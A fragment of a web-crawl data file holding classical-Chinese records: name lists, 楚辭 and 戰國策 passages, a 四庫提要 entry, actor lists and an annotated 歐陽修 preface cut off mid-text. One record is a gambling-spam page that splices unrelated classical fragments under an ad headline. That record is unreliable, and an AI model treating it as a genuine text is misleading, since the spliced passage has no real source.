彭慕 彭楠 彭妮 彭宁 彭湃 彭鹏 彭澎 彭平 彭璞 彭齐 彭淇 彭琦 彭旗 彭骞 彭黔 彭茜 彭嫱 彭青 彭清 彭晴 彭秋 彭全 彭群 彭戎 彭荣 彭容 彭嵘 彭溶 彭榕 彭蕊 彭睿 彭润 彭三 彭森 彭沙 彭莎 彭杉 彭珊 彭闪 彭胜 彭圣 彭盛 彭石 彭姝 彭舒 彭数 彭帅 彭双 彭孀 彭爽 彭烁 彭四 彭松 彭菘 彭粟 彭涛 彭滔 彭韬 彭天 彭甜 彭铁 彭厅 彭挺 彭彤 彭童 彭宛 彭旺 彭威 彭薇 彭巍 彭唯 彭伟 彭炜 彭雯 彭武 彭曦 彭玺 彭先 彭羡 彭翔 彭潇 彭霄 彭小 彭晓 彭筱 彭芯 彭昕 彭欣 彭莘 彭锌 彭新 彭歆 彭薪 彭馨 彭鑫 彭兴 彭杏 彭幸 彭雄 彭旭 彭轩 彭萱 彭漩 彭璇 彭炫 彭薛 彭寻 彭岩 彭炎 彭焱 彭雁 彭阳 彭杨 彭洋 彭晔 彭一 彭伊 彭漪 彭仪 彭贻 彭乙 彭义 彭亿 彭忆 彭亦 彭译 彭益 彭翊 彭逸 彭毅 彭懿 彭殷 彭银 彭莺 彭樱 彭潆 彭颍 彭永 彭咏 彭勇 彭涌 彭踊 彭游 彭友 彭右 彭渝 彭禺 彭瑜 彭虞 彭宇 彭羽 彭雨 彭禹 彭语 彭育 彭郁 彭昱 彭钰 彭域 彭喻 彭寓 彭煜 彭誉 彭豫 彭渊 彭元 彭源 彭辕 彭远 彭月 彭越 彭云 彭芸 彭韵 彭赞 彭泽 彭展 彭钊 彭昭 彭照 彭哲 彭珍 彭真 彭臻 彭震 彭征 彭峥 彭政 彭之 彭芝 彭知 彭志 彭智 彭中 彭忠 彭周 彭洲 彭专 彭壮 彭卓 彭资 彭梓 彭阿兰 彭皑冰 彭艾佳 彭艾欣 彭爱波 彭爱参 彭爱东 彭爱国 彭爱军 彭爱莲 彭爱民 彭爱芯 彭爱秀 彭爱月 彭嫒蕊 彭安俊 彭安康 彭安乐 彭安妮 彭安淇 彭傲阳 彭澳洲 彭百惠 彭百平 彭柏高 彭柏珲 彭柏然 彭柏翔 彭帮新 彭榜明 彭宝宝 彭宝慧 彭宝曼 彭宝仪 彭宝茵 彭宝忠 彭保碧 彭保华 彭保磊 彭保霖 彭保曼 彭保忠 彭葆霖 彭葆茵 彭贝妮 彭贝宁 彭焙焙 彭本阁 彭必腾 彭弼漫 彭碧菲 彭碧海 彭碧静 彭碧曼 彭碧秋 彭碧焱 彭碧茵 彭变翔 彭冰冰 彭冰川 彭冰淳 彭冰帆 彭冰锋 彭冰清 彭冰心 彭冰焱 彭炳菲 彭波涛 彭伯成 彭泊唁 彭勃凯 彭博坤 彭博溥 彭博强 彭博涛 彭博闻 彭博懿 彭博宇 彭博禹 彭渤越 彭才鹂 彭才林 彭财林 彭采妮 彭彩虹 彭彩华 彭菜华 彭涔宁 彭叉叉 彭禅依 彭昌凤 彭昌立 彭昌盛 彭常志 彭畅捷 彭超峰 彭超华 彭超建 彭超群 彭超诣 彭超逸 彭朝平 彭朝卓 彭晨晨 彭晨罡 彭晨海 彭晨皓 彭晨曦 彭晨萱 彭成军 彭成业 彭成忠 彭承煊 彭承彦 彭承梓 彭诚彦 彭诚宴 彭诚业 彭程城 彭程玮 彭程彦 彭澄清 彭澄彦 彭澄谚 彭澄业 彭弛航 彭持语 彭崇蕾 彭楚惠 彭楚煊 彭楚烨 彭楚伊 彭楚盈 彭楚原 彭楚月 彭川淳 彭川淇 彭川贻 彭传凤 彭传华 彭传先 彭传召","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/m.pc89.com\/xm-n1-47.html","date":"2021-08-05T21:12:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00014.warc.gz","language":"lzh","language_score":0.6537175179,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6537175178527832, \"cmn_Hani_score\": 0.3296043872833252, \"nan_Hani_score\": 0.014721380546689034}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.656,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13:00~15:00\n旋律輕輕唱\n2023\/11\/02\n00:43:09\n★★★歡迎點此寫電子小紙條給主持人,分享您對節目的感想。\nPodcast平台收聽 :\n宋玉的《九辯》開創了更加靈活而自由抒發的文學風格,他的行文變化更多、詞藻更豐富,因此《九辯》顯現出與屈原截然不同的新風貌,也開展了接下來的「賦」體更多可能性。荀子在流傳後世的作品中,也有五篇短賦,被視為賦的源頭。\n《九辯 九》\n何氾濫之浮雲兮,猋壅蔽此明月,忠昭昭而原見兮,然霠曀而莫達。願皓日之顯行兮,雲蒙蒙而蔽之。\n竊不自聊而願忠兮,或黕點而汙之,堯舜之抗行兮,瞭冥冥而薄天。何險巇之嫉妒兮,被以不慈之偽名。彼日月之照明兮,尚黯黮而有瑕。何況一國之事兮,亦多端而膠加。\n被荷裯之晏晏兮,然潢洋而不可帶。既驕美而伐武兮,負左右之耿介。憎慍惀之修美兮,好夫人之慷慨。眾踥蹀而日進兮,美超遠而逾邁,農夫輟耕而容與兮,恐田野之蕪穢,事緜緜而多私兮,竊悼後之危敗,世雷同而炫曜兮,何毀譽之昧昧,今修飾而窺鏡兮,後尚可以竄藏。願寄言夫流星兮,羌儵忽而難當。卒壅蔽此浮雲兮,下暗漠而無光。\n(以下原本同為第九章,後世學者分列為第十)\n堯舜皆有所舉任兮,故高枕而自適,諒無怨於天下兮,心焉取此怵惕。乘騏驥之瀏瀏兮,馭安用夫強策。諒城郭之不足恃兮,雖重介之何益?邅翼翼而無終兮,忳惛惛而愁約。生天地之若過兮,功不成而無効。願沈滯而不見兮,尚欲布名乎天下。然潢洋而不遇兮,直怐愗而自苦。莽洋洋而無極兮,忽翱翔之焉薄?國有驥而不知椉兮,焉皇皇而更索。寧戚謳於車下兮,桓公聞而知之。無伯樂之善相兮,今誰使乎譽之。罔流涕以聊慮兮,惟著意而得之。紛純純之願忠兮,妬被離而鄣之。\n亂曰:\n願賜不肖之軀而別離兮,放游志乎雲中。椉精氣之摶摶兮,騖諸神之湛湛。驂白霓之習習兮,歷群靈之豐豐。左朱雀之茇茇兮,右蒼龍之躣躣。屬雷師之闐闐兮,通飛廉之衙衙。前輊輬之鏘鏘兮,後輜乘之從從。載雲旗之委蛇兮,扈屯騎之容容。計專專之不可化兮,願遂推而為臧。賴皇天之厚德兮,還及君之無恙。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.ic975.com\/aod\/%E8%BE%9B%E6%84%8F%E9%9B%B2%E8%AA%AA%E8%B3%A6\/%E5%BE%9E%E5%AE%8B%E7%8E%89%E5%88%B0%E8%8D%80%E5%AD%90%EF%BC%8D%EF%BC%8D%E9%96%8B%E5%95%9F%E6%96%87%E5%AD%B8%E7%9A%84%E6%96%B0%E7%AF%87%E7%AB%A0%E3%80%90%E4%B9%9D%E8%BE%AF8%E3%80%91\/","date":"2024-04-22T06:17:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818081.81\/warc\/CC-MAIN-20240422051258-20240422081258-00570.warc.gz","language":"lzh","language_score":0.6592141986,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.659214198589325, \"cmn_Hani_score\": 0.21353483200073242, \"nan_Hani_score\": 0.0904507264494896, \"yue_Hani_score\": 0.011371809989213943}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.61,"perplexity_score":500.0,"cluster_detection":1} +{"text":"史部十六 傳記類存目二\n襄陽外編 無卷數\n浙江巡撫採進本\n明顧道洪編。道洪字嗣圖。無錫人。是編作於萬歷中。首繪孟浩然像。並錄採史書本傳。曁諸家贈答題詠之作。復以古今詩話。附列於後。所採上起於唐。下迄乎明。然王士元浩然集序。近在耳目之前。乃反佚之。何也。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0132601.html","date":"2017-03-27T08:38:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189466.30\/warc\/CC-MAIN-20170322212949-00174-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4177827835,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.4177827835083008, \"cmn_Hani_score\": 0.32062944769859314, \"jpn_Jpan_score\": 0.09112834930419922, \"wuu_Hani_score\": 0.06422244012355804, \"yue_Hani_score\": 0.05389882251620293, \"nan_Hani_score\": 0.031158773228526115}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.418,"perplexity_score":500.0,"cluster_detection":1} +{"text":"188体育在线巴菲特在美国总统大选中会投谁他说还要等等看\n献公元年,周惠王弟穨攻惠王,惠王出奔,居郑之栎邑。\n大馀三十五,小馀八百八十九;大馀三十七,小馀十六;\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而\n\"兵伤於谯石,而遇败於阳马,而重魏,则以叶、蔡委於魏。已得讲於赵,则劫魏,不为割。困则使太后弟穰侯为和,嬴则兼欺舅与母。\n大馀三十,小馀二百九十七;大馀四十二,小馀二十四;","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/5ddwm.daotianqingzhi.me\/MUJII22906.html","date":"2020-02-25T09:22:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146064.76\/warc\/CC-MAIN-20200225080028-20200225110028-00153.warc.gz","language":"lzh","language_score":0.4269295633,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4269295632839203, \"cmn_Hani_score\": 0.280134916305542, \"nan_Hani_score\": 0.14024722576141357, \"zxx_Latn_score\": 0.019569948315620422, \"yue_Hani_score\": 0.01822720654308796, \"jpn_Jpan_score\": 0.012157788500189781, \"und_Tang_score\": 0.01197653915733099}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.511,"perplexity_score":500.0,"cluster_detection":1} +{"text":"暗侵襲冷雨兮,花環落兮簇瓊瑤 .纖蕊輕顫而細兮 ,嬌憐而風停 ;珠圓玉潤之銀瓣兮 ,攬草芽兮捥微風 .憐泥招蜂蝶兮 ,不惜而流芳 ;冰清玉潔其絕璧兮 ,萬種風兮花 .柔骨寸腸驚天地兮 ,拋玉英首而遺香 ;櫻唇唱詩繞細風兮 ,錦心繡泣鬼神 .顧盼神飛探佳木兮 ,嫩齒猶琢碧 . 英文翻譯感其志但淌淚兮 ,青樹傷芳心而枯容.\n慕黛玉之冰潔兮 ,荷月鋤以葬花 .長泣以燃霞扡兮 ,燭高以天祭 .憶前而流涕兮 , 英文翻譯光采照兮恍如昨\n不為帝鄉獻媚骨兮,但為凡塵添香 .萬民歡顏以傾兮 ,但為悅己者容 ;老開懷捋長髯兮 ,少女踴躍以效顰 ;少年自此長夢兮 ,恨長而問月!\n天庭暗相遺憾兮 ,逐白雲兮貶霜露 ;斥長風以流放兮 ,棄青河於東海 .借書生之辣筆兮 ,誣杏其出牆 .暗施冷箭摧花靈兮 ,世淚模糊而痛哭 ; 英文翻譯髮指捶罵天兮 ,江湖憤而起濤 ;百姓頓足踏山兮 ,怒目揚劍以指天.\n寧為玉碎兮 ,不為糟糠之重濁 ;含笑九泉兮 ,不為黃之幽咽 . 英文翻譯魄散而魂落兮 ,猶得以清揚 ;隨風以扶搖兮 ,泊流以蹈海 .唾豚犬腦滿腸肥兮 ,喜山河之壯美 ;笑盤中之佳餚兮 ,樂風土其 .三魂六魄漫天兮 ,爽而風清 ;六神出竅歸天兮 ,息烽煙兮澄玉宇 .償烏雲以清白兮 ,攜清風於兩袖 ;導泉溪於湖泊兮 ,昭高原兮聳雪 .還樂土於民眾兮 ,護大道而滅術 ;安居樂業傲富貴兮 ,萬眾常念俯首.\n鑒湖化長碧兮 ,龍泉猶鳴 ; 英文翻譯雲鶴雪翅亦風骨兮 ,金石續崢嶸 .花天酒地之豬狗兮 ,已腐朽而臭墳 ;兒孫蒙羞而神傷兮 ,黯然行穢恥姓秦 .英烈瞑目長眠兮 ,芳名存萬世以景仰 .天涯芳草餘兮 ,伏以浴朝英文翻譯;借狂飆以開天兮 ,高俘影兮照四方 ;攜霞姑傳紅光兮 ,頌樣板戲之絕唱 ;救京劇之粹兮 ,香魂比翼天鵝湖 .神州煥發歡騰兮 ,舉世而敬服 ;萬眾奔走雀躍兮 ,歌東方紅以傳唱 ;濯重雲浮見晴天兮 ,大道環繞以金光.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/ilikelv99789.pixnet.net\/blog\/post\/6921648","date":"2020-06-06T04:01:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348509972.80\/warc\/CC-MAIN-20200606031557-20200606061557-00308.warc.gz","language":"lzh","language_score":0.8760222197,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.876022219657898, \"cmn_Hani_score\": 0.08160901814699173, \"yue_Hani_score\": 0.018653256818652153}","num_words":89,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.876,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷十八 ‧ 趙策一\n謂趙王曰三晉合而秦弱\n謂趙王曰:「三晉合而秦弱,三晉離而秦強,此天下之所明也。秦之有燕而伐趙,有趙而伐燕;有梁而伐趙,有趙而伐梁;有楚而伐韓,有韓而伐楚;此天下之所明見也。然山東不能易其路,兵弱也。弱而不能相壹,是何秦之知,山東之愚也。是臣所為山東之憂也。虎將即禽,禽不知虎之即己也,而相鬥兩罷,而歸其死于虎。故使禽知虎之即己,決不相鬥矣。今山東之主不知秦之即己也,而尚相鬥兩敝,而歸其國于秦,知不如禽遠矣。願王熟慮之也。\n今事有可急者,秦之欲伐韓、梁,東闚于周室甚,惟寐亡之。今南攻楚者,惡三晉之大合也。今攻楚休而復之,已五年矣,攘地千餘里。今謂楚王:『苟來舉玉趾而見寡人,必與楚為兄弟之國,必為楚攻韓、梁,反楚之故地。』楚王美秦之語,怒韓、梁之不救己,必入于秦。秦有謀發使之趙,以燕餌趙,而離三晉。今王美秦之言而欲攻燕,攻燕,食未飽而禍已及矣。楚王入秦,秦、楚為一,東面而攻韓。韓南無楚,北無趙,韓不待伐,割挈馬兔而西走。秦與韓為上交,秦禍安移于梁矣。以秦之強,有楚、韓之用,梁不待伐矣。割挈馬兔而西走,秦與梁為上交,秦禍案環于趙矣。以強秦之有韓、梁、楚,與燕之怒,割必深矣。國之舉此,臣之所為來。臣故曰:事有可急為者。\n及楚王之未入也,三晉相親相堅,出銳師以戍韓、梁西邊,楚王聞之,必不入秦,秦必怒而循攻楚,是秦禍不離楚也,便于三晉。若楚王入,秦見三晉之大合而堅也,必不出楚王,即多割,是秦禍不離楚也,有利于三晉。願王之熟計之也急!」\n趙王因起兵南戍韓、梁之西邊。秦見三晉之堅也,果不出楚王而多求地。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/a2\/a202\/237.htm","date":"2020-07-05T10:46:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655887319.41\/warc\/CC-MAIN-20200705090648-20200705120648-00593.warc.gz","language":"lzh","language_score":0.5395751595,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5395751595497131, \"cmn_Hani_score\": 0.36063823103904724, \"nan_Hani_score\": 0.04706144705414772, \"wuu_Hani_score\": 0.03230961412191391}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.635,"perplexity_score":500.0,"cluster_detection":1} +{"text":"湖南福连升老北京布鞋、休闲鞋品牌加盟店信息和湖南鞋店加盟方法介绍。\n四川 攀枝花 内蒙古 赤峰 河南 航空港 昭通 威信 云南 郑州 郭店 湖南 永州 双牌 红河 开远 姑苏区 江苏 苏州 安徽 天长 滁州 盐城 大丰 株洲 芜湖 南充 常熟 奉节 重庆","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.fuliansheng.com\/tags.php?\/295\/","date":"2020-08-08T09:12:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737319.74\/warc\/CC-MAIN-20200808080642-20200808110642-00095.warc.gz","language":"lzh","language_score":0.5761114359,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5761114358901978, \"cmn_Hani_score\": 0.3917919993400574, \"jpn_Jpan_score\": 0.025683199986815453}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.576,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n黎耀祥 胡杏兒 蕭正楠 馬賽 謝雪心 劉江 羅蘭 陳自瑤 張國強 李成昌 馬海倫 金剛 李天翔 方伊琪 林偉 馬蹄露 招石文 於洋 楊卓娜 羅鈞滿 林盛斌 邵卓堯 關浩揚 楊瑞麟 魏惠文 關菁 羅利期 陳榮峻 黃柏文 黃子恆 李岡龍 吳雲甫 楊證樺 何廣沛 陳勉良 鄧永健 何傲兒 陳婉婷 鍾志光 王俊棠 黃建東 潘芳芳 朱敏瀚 甄敏婷 徐玟晴 馬貫東 布偉傑 陳嘉嘉 陳偉洪 曾慧雲 陳亭嘉 章宇昂 沈可欣 溫裕紅 李晉強\n黃智賢 陳煒 張達倫 車婉婉 朱敏瀚 翟鋒 簡淑兒\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n譚俊彥 關楚耀 朱晨麗 傅嘉莉 胡諾言 沈卓盈 楊玉梅 朱敏瀚 泰臣 林師傑 羅浩銘 溫家偉 陳嘉輝 祝文君 楊證樺 姚浩政 戴耀明 鄭家生 李君妍 楊嘉欣 白雲 梁珈詠 歐陽巧瑩 劉天龍 鄭恕峯 潘冠霖 李漫芬 方紹聰 曾慧雲 蔡國威 鄧永健 範文雅 姚嘉妮 何佩珉 關浩揚 袁鎮業 衛志豪 張智軒\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E6%9C%B1%E6%95%8F%E7%80%9A------------.html","date":"2020-09-19T16:03:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400192778.51\/warc\/CC-MAIN-20200919142021-20200919172021-00277.warc.gz","language":"lzh","language_score":0.7156969309,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7156969308853149, \"cmn_Hani_score\": 0.17995759844779968, \"nan_Hani_score\": 0.09396184235811234}","num_words":259,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.748,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n黃浩然 陳煒 譚俊彥 李施嬅 湯洛雯 朱晨麗 郭子豪 張彥博 謝賢 鄭希怡 鄭俊弘 謝雪心 康華 張文慈 海俊傑 陸詩韻 李美慧 蔡思貝 呂珊 曾偉權 朱匯林 楊柳青 黃耀煌 陳少邦 溫家偉 趙璧渝 謝芷倫 區靄玲 莫家淦 黃祥興 楊潮凱 張曦雯 陳敏之 鮑起靜 張頴康 鄭子誠 陳志健 黎燕珊 古明華 楊證樺 嘉駿 林子超 劉家聰 黃得生 羅蘭 麥玲玲 Kim Robertson 楊玉梅 李龍基 陳嘉桓 李漫芬 袁潔儀 吳香倫 李麗麗 胡美貽 程皓 吳沚默 張本立 林惜貞 吳卓衡 陳康琪 關嘉敏 夏子涓\n譚俊彥 關楚耀 朱晨麗 傅嘉莉 胡諾言 沈卓盈 楊玉梅 朱敏瀚 泰臣 林師傑 羅浩銘 溫家偉 陳嘉輝 祝文君 楊證樺 姚浩政 戴耀明 鄭家生 李君妍 楊嘉欣 白雲 梁珈詠 歐陽巧瑩 劉天龍 鄭恕峯 潘冠霖 李漫芬 方紹聰 曾慧雲 蔡國威 鄧永健 範文雅 姚嘉妮 何佩珉 關浩揚 袁鎮業 衛志豪 張智軒\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n苗僑偉 吳美珩 許紹雄 夏萍 陳國邦 廖碧兒 馬國明 陳秀珠 楊秀惠 康華 丘梓謙 駱應鈞 蔡潔雯 鄧健泓 張英才 鍾志光 李思捷 陳思齊 魯振順 簡慕華 米雪 鄺佐輝 梁舜燕 李日昇 王俊棠 黃智賢 王青 羅君左 袁潔儀 吳幸美 李漫芬 王少玲 林遠迎 蕭徽勇 陳琪 陳榮峻 殷櫻 潘家雯 楊嘉諾 河國榮 戴志偉 羅莽 李麗麗 黃芓晴 鄭家生 蔡國慶 趙季筱 鍾建文\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E6%9D%8E%E6%BC%AB%E8%8A%AC------------.html","date":"2020-10-26T15:16:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891428.74\/warc\/CC-MAIN-20201026145305-20201026175305-00655.warc.gz","language":"lzh","language_score":0.8206716776,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8206716775894165, \"nan_Hani_score\": 0.08951840549707413, \"cmn_Hani_score\": 0.08206922560930252}","num_words":400,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.837,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n梅聖俞詩集序 歐陽修\n予聞世謂詩人少達而多窮、劈頭引一語、拈窮字起。夫豈然哉。蓋世所傳詩者、多出於古窮人之辭也。一句駁倒詩人多窮、下詳寫詩非能窮人。凡士之蘊其所有、而不得施於世者、多喜自放於山巔水涯之外。見蟲魚草木、風雲鳥獸之狀類、往往探其奇怪。內有憂思感憤之鬱積、其興於怨刺、以道羇雞、臣寡婦之所歎、而寫人情之難言、蓋愈窮而愈工。述古今詩人、作意摹寫。然則非詩之能窮人、殆窮者而後工也。惟窮而後工、故世所傳詩者、多出于古窮人之辭。 ○一語點正、引出聖俞。予友梅聖俞、點出人。少以蔭補爲吏。累舉進士、輒抑於有司。困於州縣、凡十餘年。年今五十、猶從辟闢、書、爲人之佐。鬱其所蓄、不得奮見於事業。辟書、聘書也。爲人佐、如作幕賓之類。 